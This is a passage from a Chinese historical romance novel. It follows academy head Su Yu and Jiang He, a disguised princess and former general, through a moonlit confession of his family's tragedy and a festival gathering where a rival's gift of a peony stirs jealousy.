文隽明白后转身去关上了门,苏玉书房的门平日里为了通风,是不怎么关的。
“怎么了先生?”文隽意识到苏玉有重要的事要交代。
苏玉稍稍往椅背靠了靠,开口道:“上次让你查的事情,接着查下去吧,要快。”
“先生指的是鹤师妹吗?”文隽问道。
苏玉点了点头。
文隽回忆着,眉头微微皱起:“上次我去了朔州,倒确实有一户姓江的人家在做镖局生意,一年前一次押镖出了事,就把镖局盘了出去,举家搬离了朔州。
“那里街坊倒是记得江家确实有个女儿,小时候身体不好,不爱出门。”
文隽停下来回走动的脚步,语气里带着一丝不解:“不过先生上次不是说不用查了吗,是鹤师妹有什么问题吗?”
苏玉向前倾身,语气严肃:“朔州不用继续查了,你现在亲自去京城,查查有哪些武将或宗世家有女儿,和江鹤的年龄与身形相仿,并且现在不在京中。”
“先生是怀疑,鹤师妹她...”文隽像是被苏玉的话惊到了,“可是为什么呢...我们书院和京城并没有什么利益往来。”
“这才是最奇怪的地方。”苏玉指尖敲击着桌案,“还有,仔细查清楚,这些人中哪些和魏王有过旧怨。”
文隽听到魏王后深呼了口气道:“好,我现在就去。”
这时,有人在外面敲了敲门,是守院的人过来传报。
“山长,梧桐书院和江陵书院的人已经来了。”
两家书院很早就和苏玉通过信,今日过来拜访。
“好,请他们到容渊堂,我稍后就来。”苏玉说。
交代完一些琐碎的杂事后,苏玉和文隽一起出了远山庭。
刚出去没多久,就碰到容音急步往江鹤的方向走去。
“容公子。”苏玉叫住了他。
容音看到苏玉,走过来简单行了一礼。
他神色焦急的问:“苏先生,小姐她怎么样了,她醒了吗?伤的重不重?”
苏玉悄悄打量着他,昨晚没有看清,今天瞧见,才发现这个人长得极好,气质不凡,可他却唤她小姐。
“她已经醒了,不过还很虚弱,不能多说话。”苏玉回道。
“多谢苏先生。”容因没有再寒暄什么,转身就往前走。
“先生?”文隽看苏玉没动,叫了他一声。
“昂?”苏玉回过神,“咱们走吧。”
文隽快速眨了眨眼睛,有些疑惑。
当天送走两家书院的人时,天已经黑了。苏玉站在见山书院门口,最后看了一眼刚刚离去的车队,转身往西苑走去。
他敲了敲偏房的门,发现没人应,而后直接推门进去,发现里面空无一人。
他瞬间慌了,快步出了门。
月亮正圆,悬在西边的山顶上,把整个书院照得青白一片。
院中树影婆娑,凉风丝丝,他环顾了一周,视线忽然地定在最高的那处房顶。
江鹤正一个人坐在那里,仰头瞧着天上,身边放着一瓶酒。
苏玉转身回见山居拿了一件衣服。
瓦片轻响,苏玉上去后把自己的氅衣披在她身上。
那瓶空了大半的酒瓶被他挪了很远,苏玉在她身侧坐下后生气地说:“谁让你喝酒的,你还有没有常识,把医士的话都当耳旁风吗?能不能顾惜自己一点。”
江鹤被他训得愣了一下,突如其来的责怪让她有些委屈地压了压唇角,一言不发。
看到她的反应,苏玉突然意识到自己刚刚竟然没控制住情绪。
“不是...”他从前面笼紧刚刚披好的衣服,解释道,“我的意思是说,你要是想喝酒的话,等身体再好一点,好吗?”
江鹤点点头,微风拂面,她带着些醉意。
苏玉握住她的手,眉头微蹙:“手这样凉,我们下去好不好?”
江鹤没有回答他,而是瞧着天上月,良久后问出一句话:“先生,你管书院这么一大摊子事,累吗?”
苏玉怔了一下,他没想到江鹤会突然问这个。
他犹豫了片刻,帮她裹好衣服。
他回答道:“累吧,但一想到可以庇护那些值得教的学子,就觉得累点也没关系。”
“那你呢,你累吗?”
月光照在江鹤身上,显得她格外出尘,好像下一秒就要飞回天上去。
“我没有先生那么无私。”
江鹤声音凉凉的,像是在喟叹,“我只觉得好累,真的好累。”
听到她说累的时候,苏玉的睫毛微微颤了几下。
“为什么这世上的人总要斗来斗去,他们不累么?”
江鹤像是在问苏玉,又像是在问月亮。
苏玉沉默了一会儿。
“我年少时,也曾觉得这世上的聪明人太多了,多到容不下彼此,”
“先生也曾
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被别人容不下过吗?”江鹤微微偏向他。
远处的山影在月光下一层叠着一层,最远那处已经和夜色融为一体,看不清界限。
苏玉深呼了一口气,说:“我祖父曾官至首辅,一生刚正清廉,最后被先皇猜忌,死于党争。他死后被抄家,我父亲也被牵连入狱,险些丢了性命。”
他的声音很平,像在说一件与自己无关的事。江鹤转过头看他,看不出情绪。
江鹤没想到,他会亲口把这些苏家旧事讲给她听。
“后来新皇登基,给我祖父平了反,发还了一部分家产。”
苏玉顿了顿,继续说道:“我父亲出狱后,一生从商,再未踏入官场半步。临终前他遵祖父遗命,立下祖训。”
他低下了头,像是在宣判自己:“苏氏后人,不得从政。”
“我祖父生前常说一句话,为臣者,当辅君以正,安民以仁。”
苏玉像是自嘲般冷笑了一声:“你刚刚问他们争来斗去累吗,其他人我不知道,但我觉得,我祖父应该是觉得累了吧,所以会在最后那么平静,像是解脱了一般。”
月亮不知道什么时候躲到云后面去了,屋顶上的光暗了下来。
江鹤突然明白,为什么第一次见苏玉的时候,他多此一举替她解了围。当时觉得他有病,如今看来,是因为经历过冤案,所以推己及人。
江鹤垂下眼,问了一个她一直想问的问题。
“先生,你恨皇室吗?”
她没敢看苏玉,静静地盯着自己的鞋尖,等他的回答。
“祖父他从小待我极好,他觉得我很像他,三岁起便教我识文断字,而后数年,哪怕他再忙,也都不厌其烦亲自教导,每每我厌倦的时候,他都会带着我,去集市玩一整天。”
江鹤抬起头看他,苏玉整个人此刻十分柔和。
苏玉淡淡一笑:“他在我面前,从来都不是首辅,我们和寻常祖孙,别无二致。”
“可我十岁那年——”苏玉陡然停下,沉默了很久,脸上转瞬间的笑意全无。
江鹤有些慌忙地低下了头。
“十岁那年,祖父被斩于西市,他们不让我看,是我偷跑去的,那天我亲眼看着他的头颅滚下来,被血水浸着,在城楼挂了三天。”
“江鹤,我不是圣人,”苏玉望着月亮,尾音带着细微的颤抖,“我怎么能不恨呢。”
江鹤眉头紧皱,苏玉整个人此刻看起来如碎了一般,苍凉而悲恸。
她想去抱他,但却没有勇气抬头,她不知道该拿什么安慰他,仇人后代的身份吗?
江鹤突然觉得,自己从一开始就很可笑,换做是自己,不去寻仇已是恩德,她又有什么资格要求苏玉不恨。
“对不起。”
“跟你又没有关系,”苏玉转头望向她,褪去了脸上的冰冷,弯了弯眉眼,“是我应该谢谢你,愿意听我说这些。”
江鹤勉强笑了笑,没有说话。
“那你呢?”苏玉收起回忆,向她问道,“为什么才这么一丁点儿大,就觉得累呢?”
“先生...我不小了。”江鹤有些无奈。
苏玉轻轻一笑,抬手摸了摸她的头:“是有什么心事吗?”
20. 沧江一梦(一)
风吹响瓦砾,她重新转了过去,面向月亮。
江鹤的眼神落寞,沉默了许久。
风停了下来,她的思绪飘回从前。
她想起北境的春天,和阮州截然不同,百里之内,寸草不生。
她站在城墙上往下看,黑压压的敌军,像潮水一样涌过来。
午夜梦回时,她经常看到自己浑身到处都是血,站在尸山血海之上,冤魂成阵,向她索命。
江鹤自小不讨皇帝喜欢,承宪帝觉得她桀骜不驯,不像个公主的样子。
小时候她溜去找皇兄,被当时执教的武将江添发现了她的军事天赋,立请皇帝恩准参与公主教学,皇帝觉得不过是闹着玩,就由她去了。
从此以后,江添将自己毕生所学,一招一式地教给江鹤,江鹤有时候觉得,江添更像她的父亲。
五年前江鹤以男子身跟随出征,最开始的时候,她觉得那些乌恒人跟自己是一样的人,只是立场不同罢了。
后来她渐渐麻木,战场之上,不是你死,就是我活。
天纵奇才一朝现世,五年间十战八捷,战功累累,擢升如飞。
可纵使如此,皇帝依旧不喜欢她,到了嫁人的年纪,连发三条诏令命她回宫。
本是天潢贵胄的身份,却举步维艰,身不由己。
月亮慢慢又从云中现身,清辉照亮了人间。
苏玉看着她欲言又止的样子,犹豫了一下后,用双臂揽住她,将人按在怀里。
他低语道:“你不想说也没关系,等你想说了再告诉我,好不好?”
江鹤的脑中轰的炸开,他是在主动抱自己吗?这次不是因为情况紧急。
什么意思?喜欢我吗?只有男人对女人的喜欢才会这么抱。
江鹤贪恋着他怀里的温度,那股茶香现在像是在邀请她般,将她紧紧裹住。
她能感受到,他的胸膛正在一下下的起伏,他好像很紧张。
一轮弦月挂在天上,看着这世间的百态众生。
她们抱了很久很久,没有一个人想要松开的痕迹。
直到苏玉感受到怀里的人渐渐垂下头,他问道:“这里风太凉了,我们下去好不好?”
他看了她一眼,发现已经睡着了,苏玉打横抱起她,让她牢牢靠在自己身上。
走到厢房门口时,苏玉的脚步顿住了。半会儿之后,他转身往自己住的见山居走去。
苏玉把江鹤安放在自己的床上后,小心翼翼地脱掉她的鞋子。
月光透过窗户洒进来,正好落在江鹤的侧脸上,平日里张牙舞爪的人此时安静极了,整个人像蒙了层薄雾。
苏玉端详着她的脸,像是用眼睛描摹她的样子,从眼睛到鼻子,再到唇畔,她的唇看起来凉凉的,像蒙着雾色的桃花瓣。
他情难自禁的微微俯身靠近。
他感受到她的呼吸的温度,奶香的气味萦绕在他鼻间。
毫厘之间,将落未落。
意识到自己在做什么后,苏玉猛地移开身体,静谧的房间里,他听到自己的心跳声震耳欲聋。
苏玉垂下眼眸,发了很久的呆。
第二天一早,天蒙蒙亮的时候,江鹤渐渐醒了。
在视线变得清晰前,她先闻到一阵熟悉的茶香,像是清明雨前的茉莉,被子里全是他的味道,她贪婪地把被子蒙在鼻子上,深吸了一口气,而后餍足地睁开了双眼。
江鹤一下子被眼前的景象惊醒,腾地一下坐起身来。
屋里的陈设不多,但却处处透露着主人的气息。
窗户关得很严,有细雨打湿了窗纸,旁边放着一个瓷瓶,里面插着几支干枯的莲蓬。
再靠她这边摆了一张卧榻,有被子放在上面。
整个房间都清清冷冷的。
此时一只猫悄步闯进她的视线,它歪着脑袋看她,尾巴竖得笔直,朝着江鹤叫了几声。
“喵~”
那是上次在书房看到的,苏玉的猫。
江鹤有些发蒙,努力回想昨晚自己是怎么睡着的,又是怎么到这个地方的。
她看着身上还穿着一样的衣服,什么都想不起来了。
“醒了?”苏玉从门外走进来。
“先生?”江鹤掀开被子准备起身,“这是你的房间吗,我怎么在这里?”
苏玉路过桌案的时候,从上面端起一盏沏好的茶,白色的热气正袅袅升腾。
就在他抬手的瞬间,余光扫到几页摊开的纸上时,眼底闪过一丝不易察觉的慌乱,他随即拿起一本书,不经意间盖了上去。
江鹤以为他是怕风把纸吹走,没多想。
“先喝点水。”苏玉将茶盏递给她。
他坐在床沿边的凳子上,身上带着些冷气的潮。
“这是放了五年的白茶,可以帮你解酒。”
江鹤这才觉得自己确实很渴,捧着碗喝了大半。
喝完后苏玉接过碗放在一旁,江鹤眨着眼睛看他,等他回答问题。
苏玉一边帮她掖好被角,一边说:“这里是见山居,昨晚你喝多后睡着了,厢房是面阴的不利于你恢复,所以我就先带你来了我的房间。”
江鹤看了一眼不远处的卧榻,推测他是在那里将就了一夜。
“不喜欢在这里吗?”苏玉问。
江鹤现在可以肯定,苏玉喜欢江鹤,很喜欢很喜欢。
什么厢房面阴的鬼理由,傻子才信。
“喜欢。”
听到她的回复,苏玉温柔一笑:“那这几日就先住在这里好不好,我也好照顾你。”
江鹤望着他的眼眸,那里面藏着说不清的情意。
她好想抱他。
“好。”
苏玉摸了摸她的头,起身去打开了窗户。
窗外雨丝细细,打在芭蕉叶上,沙沙作响。苏玉看着窗外的雨,没有立刻转身。
江鹤觉得他的背影很朦胧,像在梦里一样。这样清冷出尘的人,原来也会爱人。
江鹤,你赢了不是吗,可你为什么这么难过。
你敢让他知道自己是谁吗?
苏玉转过身,看到她在瞧自己,他站在窗前,问了一句话。
“挽月楼那次,是你吗?”
江鹤怔了一下,他连这个都知道,那他岂不是还知道更多。
江鹤抿着唇,手不自觉抓着被子:“先生什么时候知道的?”
苏玉朝她走过来:“在书院第一次见你的时候。”
江鹤握紧了被子,她有些心虚,他这是要兴师问罪吗?他如果什么都知道,那他一直在演吗?像汪景宜那样。
苏玉见她有些紧张,在床沿坐下后用指背蹭了蹭她的脸:“因为这
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个才来见山书院的吗?”
江鹤推开了他微凉的手:“不可以吗?”
苏玉微微一怔,他没想到江鹤反应这么大。
“我没说不——”
“我饿了先生,先去吃早饭了。”江鹤打断他,掀开了被子。
苏玉怔在原地,眼中充满了无措,最后在她快出门时叫住了她:“外面在下雨,拿把伞再走吧。”
“好。”江鹤没有回头的应了一声。
走出见山居的时候,江鹤碰到了被拦在院门口的容因。
“小姐!”容因远远就看到了她。
江鹤差点忘了,这里是苏玉的寝居之地,没有他的允许,没人进的来。
江鹤扫了一眼守卫,看到他们脸上透露出来的惊讶,拉着容因快步离开了。
苏玉追出来后看到这一幕,失神地站在院里,细雨落在肩膀上,他看着她们走了。
江鹤带着容因去了她临时住的厢房,离见山居不远的位置。
容因低着头看江鹤抓着自己的手,怔怔地看着她。
“容因,有什么事吗?”江鹤松开了他。
容因突然想起自己的来意,有些焦急的说:“小姐,不知道是谁传出的消息,说您在这里,宫里已经派人来了。”
“你怎么知道?”江鹤狐疑地看着他。
皇帝秘密找她这件事,绝对是上等的机密,外人不可能知道。
“不,不是我,是我的信鸽,”容因连连摆手,“今天早上我本来在等其他消息,恰巧看到看到一只黑隼,我以为是不速之客,就击落了它。”
“对不起...小姐,我不是故意看的。”
江鹤松了口气:“没事,拿来吧。”
容因将信笺递给她,悄悄打量着她的神情。
江鹤看了一眼,拿去烛台烧了。
“小姐...要走吗?”
容因知道自己没有立场问,但还是问了。
江鹤想起来他在卧龙寨的样子,心软了一下。
江鹤走到他身边拍了拍他的肩膀:“你好好养伤,等过完这个上巳节,我和你们一起回京。”
江鹤知道,她不能再等了,爱也好恨也罢,该有个了断了。
等过完这个上巳节,她就跟他摊牌,他就算再生气,总不能追着砍了自己,她走就是了。
再说了,万一他爱自己已经爱到可以接受了呢,虽然这个想法很自私,但她还是抱着这种侥幸心理。
容因听到她的回答,好像心中突然有了底,他点点头:“嗯!”
江鹤勉强一笑:“去吧。”
当天晚上,见山居里,苏玉给她换上了新的床铺,下午有太阳的时候已经晒过了。
他坐在书案前拿着本书,半天都没有翻页。
夕阳换成了月光,又变成熹微的晨光,他没有等到江鹤。
昨晚说好了等她自己想说,今早他就没控制住自己问了出来。
他以为江鹤答应住下来,就是可以去谈这些事情了,他太着急了。
可他最没想到的是,江鹤会像被刺到一样弹开。
苏玉意识到,她的身份可能超出了自己的想象,才会让她如此恐惧。
那个容因又是谁?他知道江鹤的身份吗?为什么只有自己被瞒着?
苏玉从没觉得自己这么无助过。
21. 沧江一梦(二)
每年三月初三的上巳节,是大盛非常重要的节日。
见山书院今年作为东道主,在栖霞山宴请八方宾客。
“惊鸿,你到底准备好了没有啊,就等你了。”江鹤从门外跑进来。
洛惊鸿正坐在镜子前摆弄着花簪:“江鹤,你快帮我看看是这两个哪个更好看?”
江鹤站在洛惊鸿身后,看着镜子中的她:“洛大小姐,老实说吧,你这是又看上谁了?”
“啧,还是你懂我,”洛惊鸿左右摆着头,欣赏着自己的花容月貌,,“来了见山书院我才知道,京城里的那些胭脂俗粉,哪比得上这里的清新脱俗。”
“这就是你赖在这里不走的理由?”江鹤顺手拿起一个点缀着翠羽的海棠花冠,戴在洛惊鸿头上。
“真聪明。”洛惊鸿透过镜子和江鹤对视了一眼,“就这个了,咱们走吧。”
见山书院所见之山,正是南边的栖霞山。今日所设栖霞雅集胜友如云,大盛各地书院的青年才俊,士族子弟,以及地方官员都有参会。
两人走到鸣泉涧时,已是高朋满座。
“江鹤!这边。”序竹坐在临清台远远就瞧见了两人。
见山书院的人大多都集中在入口处的临清台附近,以尽待客之道。
苏玉此时正和陈盛一起和众宾客问礼寒暄。他今日着一身群青色砑罗衫,长身玉立,仪态万方。
“你还别说,你真会选男人。”洛惊鸿顺着江鹤的目光看去,点着头似有所悟。
江鹤意识到自己得看呆了后,拉着洛惊鸿的胳膊朝序竹走去:“别贫嘴了,序竹还在等我们呢。”
江鹤路过他们的时候,苏玉在人群中瞥见她,只一眼,转而又投入寒暄之中。
两人临溪落了座后,序竹递来两杯蘸着曲水的青梅酒:“江鹤,洛姑娘,你们尝尝这个这个。”
江鹤接过,瞧见序竹已经弄湿了大半的袖子,笑着说:“你想吃的绍三鲜还在后面呢,别一会儿又吃不下了。”
“我觉得好玩嘛,”序竹有点不好意思地擦了擦袖子,随即又突然想起什么,拽过江鹤的胳膊悄声道:“有件事情我一直想问你。”
洛惊鸿瞧旁边两个人神神秘秘的说着悄悄话,没多留意,反而一直朝北门的方向望去。
序竹一脸探究:“就是上次在卧龙寨的时候,那个人为什么管你叫沧溟呀?我记得你的表字不是这个。”
江鹤心中怔了一下,随即道:“沧溟是我小时候的名字,卧龙寨那个人跟我家有世仇,后来我改名更姓,就是为了避仇。”
“原来是这样。”序竹心领神会地说。
“那...”
序竹还想说什么,被江鹤打断了:“序竹,你可以帮我保守这个秘密吗?这个名字知道的人越多,我就越危险。”
序竹闻言没再多问,小鸡啄米似的点了点头。
“容因!我们在这里。”
江鹤转头看到洛惊鸿朝北门口的容因招手。洛惊鸿一边招手一边用胳膊碰了碰江鹤道:“你就等着谢我吧。”
“什么?”江鹤不明所以。
待人都到齐后,苏玉走来临清台,阳光从树冠的缝隙里漏下来,落在他的身上,随着动作晃动。
苏玉执杯立于溪石之上,声如清泉漱玉。
“巳临流,古来旧事。今日诸君不以山水为远,共赴此会,见山书院不胜荣幸。今日曲水流觞,诸位不必拘礼。”
“饮胜。”他举杯一饮而尽,环顾宾朋示意。
苏玉声音落定后,满杯的酒觞蜿蜒而下。
溪水从上游淌下来,在石缝里打着旋儿,带着落花和碎叶,一路往下游漂去,人声从水边漫上来,混着杯盏碰撞的碎响。
酒觞在溪水里一摇一晃地往下漂,江鹤心中祈祷,千万别停下,千万别停在自己这儿。
她出从小不喜欢舞文弄墨,这种文人雅集更是与她更是没有半点儿干系。
可惜天不遂人愿,几个来回后,酒觞在江鹤面前停住了。
江鹤僵住了,她不会作诗,更不想在苏玉面前出丑。
周围见山书院的学子们开始起哄:“江鹤!江鹤!”
江鹤看到苏玉投来的目光,死撑着端起酒杯站了起来,眼珠子转了八百回也没蹦出一个字。
她的脑子一片空白,只剩下一个念头:谁来救救我。
“我来替她吧。”
一只手从旁边伸过来,接过了江鹤手中的酒杯。
容因不紧不慢道:“我家小姐前些日子受了伤,还没好利落,如今不便饮酒,我来替她,博诸位一笑。”
他接过酒杯,一饮而尽。
容因随后从袖中取出一支短笛,放在唇边。
笛声起,不是那种精巧的,而是山野间的调子。
清亮、悠远,像风穿过松林,像溪水流过石隙。
满座渐渐安静下来。
只有溪水潺潺,像是在给笛声作垫。
江鹤有些意外地看着容因。她没想到他还会这个。
洛惊鸿在旁边抿着嘴笑,一脸“怎么样,不错吧”的表情。
“献丑了。”
一曲毕,掌声稀稀落落响起,夹杂着几声低低的赞叹。
这时候人群中传来几声调侃。
“容公子和江鹤是什么关系啊?不是洛姑娘带来的朋友吗?”
江鹤心中咯噔一声,转头看向苏玉的方向。
苏玉手里端着酒杯,目光落在容因身上,目光淡沉。
容因没解释,他只是微微侧身,将短笛收入袖中,朝那调侃的方向淡淡一笑。
苏玉朝江鹤瞥了一眼,只一瞬,他便收回了视线,又与身旁一位老者说着什么。
两人自上次不欢而散后没再说过一句话,江鹤没去找他,也是想给自己一些心理缓冲,不至于到时候落差太大,她受不了。
这时她看到苏玉好像全然不在意的样子,心中泛起一阵酸涩。
本来就不是自己的东西,早点还回去也好,她安慰自己。
上午的集会散后,书院的师兄师姐都在为下午的马球会做准备,因为江鹤伤还没好全,所以不让她插手。
百无聊赖之际,江鹤在马场外的沧江河畔闲逛。
岸边的柳枝垂到水面上,被风一吹,扫出细细的波纹。
远远近近都是人,男男女女三五成群,江鹤心中有些怅然。
洛惊鸿和容因从马场北门出来,洛惊鸿用眼神示意容因,他犹豫了一下,朝江鹤走去。
洛惊鸿朝远处的那抹群青色身影瞧去,叹了一口气。
宫里已经给江鹤递了急令,都被她压下了。
“小姐。”容因从身后跟上江鹤。
“嗯?”江鹤没想到容因会出现在这里,“有什么事吗?”
两人并肩走在岸边,和其他的男男女女一样,似一对璧人。
容因垂了垂眼
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,面中含怯,全然不似在卧龙寨和雅集的样子,而像他们的酒楼初见。
“小姐不记得我了吗?”
良久后,容因终于鼓起勇气问了出来,此话出口后他反而有些释然。
江鹤有些诧异,但语气淡淡的:“我们之前,认识吗?”
“五年前,在北境。”容因用期待的目光看着江鹤。
江鹤沉思了一会儿,少顷脚步一顿,蓦地抬起头瞧向容因。
“你是那个...俘虏?”江鹤带着不可置信的目光看着他。
容因激动中带着些委屈,重重地点了一下头。
江鹤回想起来,容因本不是大盛人,而是邻国乌恒官宦医家子弟,在12岁家中遭政敌构陷,被牵连入狱,从簪缨世胄成了阶下囚,之后又被强行征兵带上了战场。
在那批俘虏里,他由于太过瘦小被江鹤注意到,怜他身世之苦,江鹤给他安排了身份,留在大盛做了良民。
“那你又是怎么遇到惊鸿的?”江鹤小心翼翼地问:“变成现在的身份?”
容因沉默了一会。
“我到了霁州后,很快被人牙子盯上,他们觉得我长得好,就把我掳去了南馆。
“逼我...”他的声音越来越小。
“对不起。”江鹤不忍心听下去。
“不!我没有过,”容因拼命地摇头,他的声音有些发抖,却很坚定,“我很快逃了出去,那晚上正好撞到了洛小姐。”
江鹤松了口气:“然后呢?”
“洛家世代皇商,把持着宫里的生意。洛小姐让我跟着学经商,替她打理生意上的情报,给了我一条活路。”容因回忆着往事,语气发涩。
“原来如此。”江鹤了然般停下脚步,替他整理了一下刚被风吹开的衣领,“好好活下去,你父母在天之灵会为你高兴的。”
容因腼腆一笑,心喜地点头。
两人继续迈开脚步往前走,并肩的青丝被风吹起,落在苏玉的眸中。
他朝前迈了一步,又顿住了,落在肩头的梨花飘落在地,看着眼前人的落寞。
容因用余光往苏玉的方向看过去。
“小姐来见山书院,是为了苏先生吗?”容因下定决心后终于开口。
江鹤不解的望着他。
“我有办法,小姐要试一下吗?”容因攥紧袖中之物。
江鹤看向容因的时候余光注意到苏玉。
“别回头!”
容因叫住她,拿出在袖中攥了很久的芍药花,递在江鹤面前,他的手在发抖。
“小姐如果想让他过来,收下这个好吗?”
风在那一刻拂动赠花少年的额发,不掩他眼波脉脉。
江鹤地凝望着他,将信将疑。
江鹤想到苏玉刚刚雅集上毫不在意的样子,她有些恼火。这样的苏玉还会在意自己收了别人的花吗?她想试试。
“谢谢。”
江鹤接过那束花,对容因莞尔一笑。
身旁有眼尖的少男少女看到这一幕,在一旁鹊喜的窃窃私语。
“江鹤。”
那声音有些急切。
苏玉的声音在他身后传来,容因解脱般闭上双眸,带着不舍。
江鹤拿着花回过头去,看到苏玉气喘未定的站在她身边。
他逆光站着,阳光将他的轮廓勾出一道金光。
“先生?”
苏玉从她手里抢走了那束芍药。